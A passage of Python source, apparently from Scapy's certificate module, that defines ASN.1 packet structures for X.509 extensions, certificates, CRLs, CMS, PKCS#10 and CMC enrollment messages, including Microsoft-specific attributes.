X509_ExtDistributionPoint) class X509_AccessDescription(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("accessMethod", "0"), ASN1F_PACKET("accessLocation", X509_GeneralName(), X509_GeneralName)) class X509_ExtAuthInfoAccess(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("authorityInfoAccess", [X509_AccessDescription()], X509_AccessDescription) class X509_ExtQcStatement(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("statementId", "0.4.0.1862.1.1"), ASN1F_optional( ASN1F_field("statementInfo", None))) class X509_ExtQcStatements(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("qcStatements", [X509_ExtQcStatement()], X509_ExtQcStatement) class X509_ExtSubjInfoAccess(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE_OF("subjectInfoAccess", [X509_AccessDescription()], X509_AccessDescription) class X509_ExtNetscapeCertType(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BIT_STRING("netscapeCertType", "") class X509_ExtComment(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE("comment", ASN1_UTF8_STRING("Dummy comment."), ASN1F_IA5_STRING, ASN1F_ISO646_STRING, ASN1F_BMP_STRING, ASN1F_UTF8_STRING) class X509_ExtCertificateTemplateName(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_BMP_STRING("Name", b"") class X509_ExtOidNTDSCaSecurity(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_otherName() type_id = ASN1_OID("1.3.6.1.4.1.311.25.2.1") value = ASN1_UTF8_STRING("") # [MS-WCCE] sect 2.2.2.7.7.2 class X509_ExtCertificateTemplateOID(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("templateID", "0"), ASN1F_optional( ASN1F_INTEGER("templateMajorVersion", 0), ), ASN1F_optional( ASN1F_INTEGER("templateMinorVersion", 0), ), ) # oid-info.com shows that some extensions share multiple OIDs. # Here we only reproduce those written in RFC5280. _ext_mapping = { "2.5.29.9": X509_ExtSubjectDirectoryAttributes, "2.5.29.14": X509_ExtSubjectKeyIdentifier, "2.5.29.15": X509_ExtKeyUsage, "2.5.29.16": X509_ExtPrivateKeyUsagePeriod, "2.5.29.17": X509_ExtSubjectAltName, "2.5.29.18": X509_ExtIssuerAltName, "2.5.29.19": X509_ExtBasicConstraints, "2.5.29.20": X509_ExtCRLNumber, "2.5.29.21": X509_ExtReasonCode, "2.5.29.24": X509_ExtInvalidityDate, "2.5.29.27": X509_ExtDeltaCRLIndicator, "2.5.29.28": X509_ExtIssuingDistributionPoint, "2.5.29.29": X509_ExtCertificateIssuer, "2.5.29.30": X509_ExtNameConstraints, "2.5.29.31": X509_ExtCRLDistributionPoints, "2.5.29.32": X509_ExtCertificatePolicies, "2.5.29.33": X509_ExtPolicyMappings, "2.5.29.35": X509_ExtAuthorityKeyIdentifier, "2.5.29.36": X509_ExtPolicyConstraints, "2.5.29.37": X509_ExtExtendedKeyUsage, "2.5.29.46": X509_ExtFreshestCRL, "2.5.29.54": X509_ExtInhibitAnyPolicy, "2.16.840.1.113730.1.1": X509_ExtNetscapeCertType, "2.16.840.1.113730.1.13": X509_ExtComment, "1.3.6.1.4.1.311.20.2": X509_ExtCertificateTemplateName, "1.3.6.1.4.1.311.21.7": X509_ExtCertificateTemplateOID, "1.3.6.1.4.1.311.21.10": X509_ExtCertificatePolicies, "1.3.6.1.4.1.311.25.2": X509_ExtOidNTDSCaSecurity, "1.3.6.1.5.5.7.1.1": X509_ExtAuthInfoAccess, "1.3.6.1.5.5.7.1.3": X509_ExtQcStatements, "1.3.6.1.5.5.7.1.11": X509_ExtSubjInfoAccess } class _X509_ExtField(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_X509_ExtField, self).m2i(pkt, s) if not val[0].val: return val if pkt.extnID.val in _ext_mapping: return ( _ext_mapping[pkt.extnID.val](val[0].val, _underlayer=pkt), val[1], ) return val class ASN1F_EXT_SEQUENCE(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_OID("extnID", "2.5.29.19"), ASN1F_optional( ASN1F_BOOLEAN("critical", False)), _X509_ExtField("extnValue", X509_ExtBasicConstraints())] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class X509_Extension(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_EXT_SEQUENCE() class X509_Extensions(ASN1_Packet): # we use this in OCSP status requests, in tls/handshake.py ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_optional( ASN1F_SEQUENCE_OF("extensions", None, X509_Extension)) # Aka 'ExtensionReq' in CMS _X509_ATTRIBUTE_TYPE["1.2.840.113549.1.9.14"] = X509_Extensions # Public key wrapper # class X509_AlgorithmIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("algorithm", "1.2.840.113549.1.1.11"), MultipleTypeField( [ ( # RFC4055: # "The correct encoding is to omit the parameters field" # "All implementations MUST accept both NULL and absent # parameters as legal and equivalent encodings." # RFC8017: # "should generally be omitted, but if present, it shall have a # value of type NULL." ASN1F_optional(ASN1F_NULL("parameters", None)), lambda pkt: ( pkt.algorithm.val[:19] == "1.2.840.113549.1.1." or pkt.algorithm.val[:21] == "2.16.840.1.101.3.4.2." or pkt.algorithm.val[:11] == "1.3.14.3.2." ) ), ( # RFC5758: # "the encoding MUST omit the parameters field" # RFC8410: # "For all of the OIDs, the parameters MUST be absent." ASN1F_omit("parameters", None), lambda pkt: ( pkt.algorithm.val[:16] == "1.2.840.10045.4." or pkt.algorithm.val in ["1.3.101.112", "1.3.101.113"] ) ), # RFC5480 ( ASN1F_PACKET( "parameters", ECParameters(), ECParameters, ), lambda pkt: pkt.algorithm.val == "1.2.840.10045.2.1", ), # RFC3279 ( ASN1F_PACKET( "parameters", DomainParameters(), DomainParameters, ), lambda pkt: pkt.algorithm.val == "1.2.840.10046.2.1", ), # PKCS#3 ( ASN1F_PACKET( "parameters", DHParameter(), DHParameter, ), lambda pkt: pkt.algorithm.val == "1.2.840.113549.1.3.1", ), # TripleDES ( ASN1F_STRING( "parameters", "", ), lambda pkt: pkt.algorithm.val == "1.2.840.113549.3.7", ), ], # Default: fail, probably. This is most likely unimplemented. ASN1F_NULL("parameters", 0), ) ) class ASN1F_X509_SubjectPublicKeyInfo(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), MultipleTypeField( [ (ASN1F_BIT_STRING_ENCAPS("subjectPublicKey", RSAPublicKey(), RSAPublicKey), lambda pkt: "rsa" in pkt.signatureAlgorithm.algorithm.oidname.lower()), # noqa: E501 (ASN1F_PACKET("subjectPublicKey", ECDSAPublicKey(), ECDSAPublicKey), lambda pkt: "ecPublicKey" == pkt.signatureAlgorithm.algorithm.oidname), # noqa: E501 (ASN1F_BIT_STRING_ENCAPS("subjectPublicKey", DHPublicKey(), DHPublicKey), lambda pkt: "dhpublicnumber" == pkt.signatureAlgorithm.algorithm.oidname), # noqa: E501 (ASN1F_PACKET("subjectPublicKey", EdDSAPublicKey(), EdDSAPublicKey), lambda pkt: pkt.signatureAlgorithm.algorithm.oidname in ["Ed25519", "Ed448"]), # noqa: E501 ], ASN1F_BIT_STRING("subjectPublicKey", ""))] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class X509_SubjectPublicKeyInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_SubjectPublicKeyInfo() # OpenSSL compatibility wrappers # # XXX As ECDSAPrivateKey already uses the structure from RFC 5958, # and as we would prefer encapsulated RSA private keys to be parsed, # this lazy implementation actually supports RSA encoding only. # We'd rather call it RSAPrivateKey_OpenSSL than X509_PrivateKeyInfo. class RSAPrivateKey_OpenSSL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 0, ["v1", "v2"]), ASN1F_PACKET("privateKeyAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_PACKET("privateKey", RSAPrivateKey(), RSAPrivateKey, explicit_tag=0x04), ASN1F_optional( ASN1F_PACKET("parameters", None, ECParameters, explicit_tag=0xa0)), ASN1F_optional( ASN1F_PACKET("publicKey", None, ECDSAPublicKey, explicit_tag=0xa1))) # We need this hack because ECParameters parsing below must return # a Padding payload, and making the ASN1_Packet class have Padding # instead of Raw payload would break things... class _PacketFieldRaw(PacketField): def getfield(self, pkt, s): i = self.m2i(pkt, s) remain = "" if conf.raw_layer in i: r = i[conf.raw_layer] del r.underlayer.payload remain = r.load return remain, i class ECDSAPrivateKey_OpenSSL(Packet): name = "ECDSA Params + Private Key" fields_desc = [_PacketFieldRaw("ecparam", ECParameters(), ECParameters), PacketField("privateKey", ECDSAPrivateKey(), ECDSAPrivateKey)] # TBSCertificate & Certificate # _default_issuer = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type=ASN1_OID("2.5.4.10"), value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type=ASN1_OID("2.5.4.3"), value=ASN1_PRINTABLE_STRING("Scapy Default Issuer"))]) ] _default_subject = [ X509_RDN(), X509_RDN( rdn=[X509_AttributeTypeAndValue( type=ASN1_OID("2.5.4.10"), value=ASN1_PRINTABLE_STRING("Scapy, Inc."))]), X509_RDN( rdn=[X509_AttributeTypeAndValue( type=ASN1_OID("2.5.4.3"), value=ASN1_PRINTABLE_STRING("Scapy Default Subject"))]) ] class _IssuerUtils: def get_issuer(self): attrs = self.issuer attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 return attrsDict def get_issuer_str(self): """ Returns a one-line string containing every type/value in a rather specific order. sorted() built-in ensures unicity. """ name_str = "" attrsDict = self.get_issuer() for attrType, attrSymbol in _attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in _attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str class X509_Validity(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_CHOICE("not_before", ASN1_UTC_TIME(str(ZuluTime(-600))), ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME), ASN1F_CHOICE("not_after", ASN1_UTC_TIME(str(ZuluTime(+86400))), ASN1F_UTC_TIME, ASN1F_GENERALIZED_TIME)) _attrName_mapping = [ ("countryName", "C"), ("stateOrProvinceName", "ST"), ("localityName", "L"), ("organizationName", "O"), ("organizationUnitName", "OU"), ("commonName", "CN") ] _attrName_specials = [name for name, symbol in _attrName_mapping] class X509_TBSCertificate(ASN1_Packet, _IssuerUtils): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 0x2, ["v1", "v2", "v3"], explicit_tag=0xa0)), ASN1F_INTEGER("serialNumber", 1), ASN1F_PACKET("signature", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), ASN1F_PACKET("validity", X509_Validity(), X509_Validity), ASN1F_SEQUENCE_OF("subject", _default_subject, X509_RDN), ASN1F_PACKET("subjectPublicKeyInfo", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo), ASN1F_optional( ASN1F_BIT_STRING("issuerUniqueID", None, implicit_tag=0x81)), ASN1F_optional( ASN1F_BIT_STRING("subjectUniqueID", None, implicit_tag=0x82)), ASN1F_optional( ASN1F_SEQUENCE_OF("extensions", [X509_Extension()], X509_Extension, explicit_tag=0xa3))) def get_subject(self): attrs = self.subject attrsDict = {} for attr in attrs: # we assume there is only one name in each rdn ASN1_SET attrsDict[attr.rdn[0].type.oidname] = plain_str(attr.rdn[0].value.val) # noqa: E501 return attrsDict def get_subject_str(self): name_str = "" attrsDict = self.get_subject() for attrType, attrSymbol in _attrName_mapping: if attrType in attrsDict: name_str += "/" + attrSymbol + "=" name_str += attrsDict[attrType] for attrType in sorted(attrsDict): if attrType not in _attrName_specials: name_str += "/" + attrType + "=" name_str += attrsDict[attrType] return name_str class ASN1F_X509_Cert(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertificate", X509_TBSCertificate(), X509_TBSCertificate), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), MultipleTypeField( [ (ASN1F_BIT_STRING_ENCAPS("signatureValue", ECDSASignature(), ECDSASignature), lambda pkt: "ecdsa" in pkt.signatureAlgorithm.algorithm.oidname.lower()), # noqa: E501 ], ASN1F_BIT_STRING("signatureValue", "defaultsignature" * 2))] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class X509_Cert(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_Cert() # TBSCertList & CRL # class X509_RevokedCertificate(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE(ASN1F_INTEGER("serialNumber", 1), ASN1F_UTC_TIME("revocationDate", str(ZuluTime(+86400))), ASN1F_optional( ASN1F_SEQUENCE_OF("crlEntryExtensions", None, X509_Extension))) class X509_TBSCertList(ASN1_Packet, _IssuerUtils): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_enum_INTEGER("version", 1, ["v1", "v2"])), ASN1F_PACKET("signature", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), ASN1F_UTC_TIME("this_update", str(ZuluTime(-1))), ASN1F_optional( ASN1F_UTC_TIME("next_update", None)), ASN1F_optional( ASN1F_SEQUENCE_OF("revokedCertificates", None, X509_RevokedCertificate)), ASN1F_optional( ASN1F_SEQUENCE_OF("crlExtensions", None, X509_Extension, explicit_tag=0xa0))) class ASN1F_X509_CRL(ASN1F_SEQUENCE): def __init__(self, **kargs): seq = [ASN1F_PACKET("tbsCertList", X509_TBSCertList(), X509_TBSCertList), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), MultipleTypeField( [ (ASN1F_BIT_STRING_ENCAPS("signatureValue", ECDSASignature(), ECDSASignature), lambda pkt: "ecdsa" in pkt.signatureAlgorithm.algorithm.oidname.lower()), # noqa: E501 ], ASN1F_BIT_STRING("signatureValue", "defaultsignature" * 2))] ASN1F_SEQUENCE.__init__(self, *seq, **kargs) class X509_CRL(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_X509_CRL() ##################### # CMS packets # ##################### # based on RFC 3852 CMSVersion = ASN1F_INTEGER # RFC3852 sect 5.2 # Other layers should store the structures that can be encapsulated # by CMS here, referred by their OIDs. _CMS_ENCAPSULATED = {} class _EncapsulatedContent_Field(ASN1F_STRING_PacketField): def m2i(self, pkt, s): val = super(_EncapsulatedContent_Field, self).m2i(pkt, s) if not val[0].val: return val # Get encapsulated value from its type if pkt.eContentType.val in _CMS_ENCAPSULATED: return ( _CMS_ENCAPSULATED[pkt.eContentType.val](val[0].val, _underlayer=pkt), val[1], ) return val class CMS_EncapsulatedContentInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("eContentType", "0"), ASN1F_optional( _EncapsulatedContent_Field("eContent", None, explicit_tag=0xA0), ), ) # RFC3852 sect 10.2.1 class CMS_RevocationInfoChoice(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "crl", None, ASN1F_PACKET("crl", X509_CRL(), X509_Cert), # -- TODO: 1 ) # RFC3852 sect 10.2.2 class CMS_CertificateChoices(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "certificate", None, ASN1F_PACKET("certificate", X509_Cert(), X509_Cert), # -- TODO: 0, 1, 2 ) # RFC3852 sect 10.2.4 class CMS_IssuerAndSerialNumber(ASN1_Packet, _IssuerUtils): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE_OF("issuer", _default_issuer, X509_RDN), ASN1F_INTEGER("serialNumber", 0) ) # RFC3852 sect 10.2.7 class CMS_OtherKeyAttribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("keyAttrId", "0"), ASN1F_field("keyAttr", 0), ) # RFC3852 sect 5.3 class CMS_SubjectKeyIdentifier(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING("sid", "") class CMS_SignerInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( CMSVersion("version", 1), ASN1F_CHOICE( "sid", CMS_IssuerAndSerialNumber(), ASN1F_PACKET("sid", CMS_IssuerAndSerialNumber(), CMS_IssuerAndSerialNumber), ASN1F_PACKET("sid", CMS_SubjectKeyIdentifier(), CMS_SubjectKeyIdentifier, implicit_tag=0x80), ), ASN1F_PACKET("digestAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_optional( ASN1F_SET_OF( "signedAttrs", None, X509_Attribute, implicit_tag=0xA0, ) ), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_STRING("signature", ASN1_UTF8_STRING("")), ASN1F_optional( ASN1F_SET_OF( "unsignedAttrs", None, X509_Attribute, implicit_tag=0xA1, ) ) ) # RFC3852 sect 5.4 class CMS_SignedAttrsForSignature(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SET_OF( "signedAttrs", None, X509_Attribute, ) # RFC3852 sect 5.1 class CMS_SignedData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( CMSVersion("version", 1), ASN1F_SET_OF("digestAlgorithms", [], X509_AlgorithmIdentifier), ASN1F_PACKET("encapContentInfo", CMS_EncapsulatedContentInfo(), CMS_EncapsulatedContentInfo), ASN1F_optional( ASN1F_SET_OF( "certificates", None, CMS_CertificateChoices, implicit_tag=0xA0, ) ), ASN1F_optional( ASN1F_SET_OF( "crls", None, CMS_RevocationInfoChoice, implicit_tag=0xA1, ) ), ASN1F_SET_OF( "signerInfos", [], CMS_SignerInfo, ), ) # RFC3852 sect 6.2.1 class CMS_KeyTransRecipientInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( CMSVersion("version", 0), ASN1F_CHOICE( "rid", CMS_IssuerAndSerialNumber(), ASN1F_PACKET("rid", CMS_IssuerAndSerialNumber(), CMS_IssuerAndSerialNumber), ASN1F_PACKET("rid", CMS_SubjectKeyIdentifier(), CMS_SubjectKeyIdentifier, implicit_tag=0x80), ), ASN1F_PACKET("keyEncryptionAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_STRING("encryptedKey", ""), ) # RFC3852 sect 6.2.2 class CMS_OriginatorPublicKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("algorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("publicKey", ""), ) class CMS_OriginatorIdentifierOrKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "originator", CMS_IssuerAndSerialNumber(), ASN1F_PACKET("issuerAndSerialNumber", CMS_IssuerAndSerialNumber(), CMS_IssuerAndSerialNumber), ASN1F_PACKET("subjectKeyIdentifier", CMS_SubjectKeyIdentifier(), CMS_SubjectKeyIdentifier, implicit_tag=0x80), ASN1F_PACKET("originatorKey", CMS_OriginatorPublicKey(), CMS_OriginatorPublicKey, implicit_tag=0xA1), ) class CMS_RecipientEncryptedKey(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("subjectKeyIdentifier", CMS_SubjectKeyIdentifier(), CMS_SubjectKeyIdentifier), ASN1F_optional( ASN1F_GENERALIZED_TIME("date", ""), ), ASN1F_optional( ASN1F_PACKET("other", CMS_OtherKeyAttribute(), CMS_OtherKeyAttribute), ), ) class CMS_KeyAgreeRecipientInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( CMSVersion("version", 3), ASN1F_PACKET("originator", CMS_OriginatorIdentifierOrKey(), CMS_OriginatorIdentifierOrKey, explicit_tag=0xA0), ASN1F_optional( ASN1F_STRING("ukm", None, "", explicit_tag=0x81), ), ASN1F_PACKET("keyEncryptionAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_SEQUENCE_OF("recipientEncryptedKeys", [], CMS_RecipientEncryptedKey), ) # RFC3852 sect 6.2 class CMS_RecipientInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "recipientInfo", CMS_KeyTransRecipientInfo(), ASN1F_PACKET("ktri", CMS_KeyTransRecipientInfo(), CMS_KeyTransRecipientInfo), ASN1F_PACKET("kari", CMS_KeyAgreeRecipientInfo(), CMS_KeyAgreeRecipientInfo, implicit_tag=0xA1), ) # RFC3852 sect 6.1 class CMS_OriginatorInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_optional( ASN1F_SET_OF( "certs", None, CMS_CertificateChoices, implicit_tag=0xA0, ) ), ASN1F_optional( ASN1F_SET_OF( "crls", None, CMS_RevocationInfoChoice, implicit_tag=0xA1, ) ), ) class CMS_EncryptedContentInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("contentType", "1.2.840.113549.1.7.2"), ASN1F_PACKET("contentEncryptionAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_optional( ASN1F_STRING("encryptedContent", "", implicit_tag=0x80), ) ) class CMS_EnvelopedData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( CMSVersion("version", 1), ASN1F_optional( ASN1F_PACKET("originatorInfo", None, CMS_OriginatorInfo, implicit_tag=0xA0), ), ASN1F_SET_OF("recipientInfos", CMS_RecipientInfo(), CMS_RecipientInfo), ASN1F_PACKET("encryptedContentInfo", CMS_EncryptedContentInfo(), CMS_EncryptedContentInfo), ASN1F_optional( ASN1F_SET_OF("unprotectedAttrs", [], X509_Attribute, implicit_tag=0xA1), ) ) # RFC3852 sect 3 class CMS_ContentInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("contentType", "1.2.840.113549.1.7.2"), MultipleTypeField( [ ( ASN1F_PACKET("content", None, CMS_SignedData, explicit_tag=0xA0), lambda pkt: pkt.contentType.oidname == "id-signedData" ), ( ASN1F_PACKET("content", None, CMS_EnvelopedData, explicit_tag=0xA0), lambda pkt: pkt.contentType.oidname == "id-envelopedData" ), ], ASN1F_BIT_STRING("content", "", explicit_tag=0xA0) ) ) ##################### # CSR packets # ##################### # based on PKCS#10 # class PKCS10_CertificationRequestInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("version", 0), ASN1F_SEQUENCE_OF("subject", _default_subject, X509_RDN), ASN1F_PACKET("subjectPublicKeyInfo", X509_SubjectPublicKeyInfo(), X509_SubjectPublicKeyInfo), ASN1F_SET_OF("attributes", [], X509_Attribute, implicit_tag=0xA0), ) get_subject = X509_TBSCertificate.get_subject get_subject_str = X509_TBSCertificate.get_subject_str class PKCS10_CertificationRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_PACKET("certificationRequestInfo", PKCS10_CertificationRequestInfo(), PKCS10_CertificationRequestInfo), ASN1F_PACKET("signatureAlgorithm", X509_AlgorithmIdentifier(), X509_AlgorithmIdentifier), ASN1F_BIT_STRING("signature", ASN1F_BIT_STRING("", "")), ) # based on CMC # # RFC 5272 sect 3.2.1.1 class CMC_TaggedAttribute(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("bodyPartID", 0), ASN1F_OID("type", "0"), # attrType for compat ASN1F_SET_OF("attrValues", [], X509_AttributeValue), ) # RFC 5272 sect 3.2.1.2.1 class CMC_TaggedCertificationRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("bodyPartID", 0), ASN1F_PACKET("certificationRequest", PKCS10_CertificationRequest(), PKCS10_CertificationRequest) ) # RFC 5272 sect 3.2.1.2 class CMC_TaggedRequest(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_CHOICE( "request", CMC_TaggedCertificationRequest(), ASN1F_PACKET("tcr", CMC_TaggedCertificationRequest(), CMC_TaggedCertificationRequest, implicit_tag=0xA0), # XXX there are others ) # RFC 5272 sect 3.2.1.3 class CMC_TaggedContentInfo(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("bodyPartID", 0), ASN1F_PACKET("contentInfo", CMS_ContentInfo(), CMS_ContentInfo) ) # RFC 5272 sect 3.2.1.4 class CMC_OtherMsg(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("bodyPartID", 0), ASN1F_OID("otherMsgType", "0"), ASN1F_field("otherMsgValue", ""), ) # RFC 5272 sect 3.2.1 class CMC_PKIData(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_SEQUENCE_OF("controlSequence", [], CMC_TaggedAttribute), ASN1F_SEQUENCE_OF("reqSequence", [], CMC_TaggedRequest), ASN1F_SEQUENCE_OF("cmsSequence", [], CMC_TaggedContentInfo), ASN1F_SEQUENCE_OF("otherMsgSequence", [], CMC_OtherMsg), ) _CMS_ENCAPSULATED["1.3.6.1.5.5.7.12.2"] = CMC_PKIData # Windows extensions # # https://learn.microsoft.com/en-us/windows/win32/seccertenroll/cmc-extensions class CMC_AddExtensions(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("pkiDataReference", 0), ASN1F_SEQUENCE_OF("certReferences", [], ASN1F_INTEGER), ASN1F_PACKET("extensions", X509_Extensions(), X509_Extensions), ) _X509_ATTRIBUTE_TYPE["1.3.6.1.5.5.7.7.8"] = CMC_AddExtensions # https://learn.microsoft.com/en-us/windows/win32/seccertenroll/cmc-attributes class CMC_AddAttributes(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("pkiDataReference", 0), ASN1F_SEQUENCE_OF("certReferences", [], ASN1F_INTEGER), ASN1F_SET_OF("attributes", X509_Attribute(), X509_Attribute), ) _X509_ATTRIBUTE_TYPE["1.3.6.1.4.1.311.10.10.1"] = CMC_AddAttributes # [MS-WCCE] sect 2.2.2.7.2 class CMC_ENROLLMENT_CSP_PROVIDER(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("KeySpec", 0), ASN1F_BMP_STRING("ProviderName", ""), ASN1F_BIT_STRING("Signature", ""), ) _X509_ATTRIBUTE_TYPE["1.3.6.1.4.1.311.13.2.2"] = CMC_ENROLLMENT_CSP_PROVIDER # [MS-WCCE] sect 2.2.2.7.4 class CMC_REQUEST_CLIENT_INFO(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_INTEGER("clientId", 0), ASN1F_UTF8_STRING("MachineName", ""), ASN1F_UTF8_STRING("UserName", ""), ASN1F_UTF8_STRING("ProcessName", ""), ) _X509_ATTRIBUTE_TYPE["1.3.6.1.4.1.311.21.20"] = CMC_REQUEST_CLIENT_INFO # [MS-WCCE] sect 2.2.2.7.10 class CMC_EnrollmentNameValuePair(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_BMP_STRING("Name", ""), ASN1F_BMP_STRING("Value", ""), ) _X509_ATTRIBUTE_TYPE["1.3.6.1.4.1.311.13.2.1"] = CMC_EnrollmentNameValuePair # [MS-WCCE] sect 2.2.2.7.12 class CMC_ENROLL_ATTESTATION_STATEMENT(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_STRING_ENCAPS("kas", KeyAttestationStatement(), KeyAttestationStatement) _X509_ATTRIBUTE_TYPE["1.3.6.1.4.1.311.21.24"] = CMC_ENROLL_ATTESTATION_STATEMENT # [MS-WCCE] sect 